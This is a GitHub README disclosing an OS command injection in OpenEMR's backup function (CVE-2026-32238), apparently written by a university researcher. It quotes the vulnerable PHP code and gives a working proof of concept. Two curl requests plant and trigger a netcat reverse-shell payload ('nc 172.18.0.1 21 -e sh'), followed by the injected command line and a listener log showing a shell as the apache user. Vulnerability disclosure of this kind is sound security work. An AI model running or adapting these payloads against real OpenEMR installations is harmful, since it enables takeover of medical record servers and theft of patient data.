Skip to content

ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 

Repository files navigation

CVE-2026-32238 - Remote Code Execution in OpenEMR <8.0.0.2

Weakness CWE-78 : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Summary

OpenEMR <8.0.0.1 contains multiples Command injection vulnerabilities in the backup functionality that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the backup functionality.

Details

The vulnerability occurs in the backup functionality where multiples ID are SQL escaped in a SQL statement embedded within the OS command but not shell-escaped.
Those ID values are trusted after verifying that the user-supplied inputs exists in the database.
User can insert any value in those SQL ID columns concatenate to the shell command.
Summary: Certain shell commands concatenate user-supplied input without proper sanitization, which may lead to command injection vulnerabilities. This allows attackers to inject malicious OS shell commands.

The vulnerability affects the following lines:

To exploit those vulnerabilites the payload should be stored in: list_options.option_id, list_options.list_id, layout_options.form_id or layout_group_properties.grp_form_id.

        if (!empty($form_sel_lists)) {
            foreach ($form_sel_lists as $listid) {
                if (str_contains((string) $listid, '`')) {
                    continue;
                }
                $listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]);
                if (empty($listid_check['list_id'])) {
                    continue;
                }
                if (IS_WINDOWS) {
                    $cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    $cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    $cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " .
                        "ORDER BY list_id != 'lists', seq, title\" " .
                        escapeshellarg((string) $sqlconf["dbase"]) . " list_options";
                    $cmd .=  " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                } else {
                    $cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" .
                        add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
                        "echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" .
                        add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
                        $dumppfx . " --where='list_id = \"lists\" AND option_id = \"" .
                        add_escape_custom($listid) . "\" OR list_id = \"" .
                        add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " .
                        escapeshellarg((string) $sqlconf["dbase"]) . " list_options" .
                        " >> " . escapeshellarg($EXPORT_FILE) . ";";
                }
            }
        }

        if (is_array($_POST['form_sel_layouts'] ?? '')) {
            $do_history_repair = false;
            $do_demographics_repair = false;
            foreach ($_POST['form_sel_layouts'] as $layoutid) {
                if (str_contains((string) $layoutid, '`')) {
                    continue;
                }
                $layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]);
                $layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]);
                if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) {
                    continue;
                }
                if (IS_WINDOWS) {
                    $cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & ";
                } else {
                    $cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
                }
                if (IS_WINDOWS) {
                    $cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;";
                } else {
                    $cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
                }
                if (IS_WINDOWS) {
                    $cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " .
                        escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
                    $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    $cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" '  .
                        escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
                    $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                } else {
                    $cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " .
                        escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
                    $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
                    $cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " .
                        escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
                    $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
                }
                if (str_starts_with((string) $layoutid, 'HIS')) {
                    $do_history_repair = true;
                }
                if (str_starts_with((string) $layoutid, 'DEM')) {
                    $do_demographics_repair = true;
                }
            }
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "<injection>";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "<injection>";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='grp_form_id = "<injection>"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='form_id = "<injection>" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';

Permissions

if (!AclMain::aclCheckCore('admin', 'super')) {
    echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]);
    exit;
}

PoC

For this POC i use the layout_group_properties.grp_form_id column:

  1. Insert the payload in layout_group_properties.grp_form_id
  2. Call backup functionality using the same payload
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php'

┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php'

┌──(kali㉿kali)-[~]
└─$ 

Database

MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties;
+--------------------------------+--------------+
| grp_form_id                    | grp_group_id |
+--------------------------------+--------------+
| DEM                            |              |
| DEM                            | 1            |
| DEM                            | 2            |
| DEM                            | 3            |
| DEM                            | 4            |
| DEM                            | 5            |
| DEM                            | 6            |
| DEM                            | 8            |
| FACUSR                         |              |
| FACUSR                         | 1            |
| HIS                            |              |
| HIS                            | 1            |
| HIS                            | 2            |
| HIS                            | 3            |
| HIS                            | 4            |
| HIS                            | 5            |
| LBF"';nc 172.18.0.1 21 -e sh # | 11           |
| LBTbill                        |              |
| LBTbill                        | 1            |
| LBTlegal                       |              |
| LBTlegal                       | 1            |
| LBTphreq                       |              |
| LBTphreq                       | 1            |
| LBTptreq                       |              |
| LBTptreq                       | 1            |
| LBTref                         |              |
| LBTref                         | 1            |
| LBTref                         | 2            |
+--------------------------------+--------------+
28 rows in set (0.003 sec)

MariaDB [openemr]> 

Reverse shell payload

nc 172.18.0.1 21 -e sh
Injection
LBF"';nc 172.18.0.1 21 -e sh #
Final
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
Tools

I don't know if netcat (nc) is required but it's installed by default in the docker container (it's very usefull for this exploit).

User and current directory
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 21 
listening on [any] 21 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041
whoami
apache
id
uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
pwd
/var/www/localhost/htdocs/openemr/interface/main

Impact

  • Server-side code execution

Vulnerability Fix Process

  1. Assess and validate the vulnerability
  2. Request or assign a CVE ID
  3. Create a private fork or private branch
  4. Develop the fix
  5. Write regression and security tests
  6. Prepare release notes and security advisory draft
  7. Publish the fix (code merge) and release a patched version
  8. Publicly disclose the vulnerability

Credits

  • Researcher: Christophe SUBLET
  • Organization: Grenoble INP - Esisar, UGA
  • Project: CyberSkills, Orion

Releases

No releases published

Packages

 
 
 

Contributors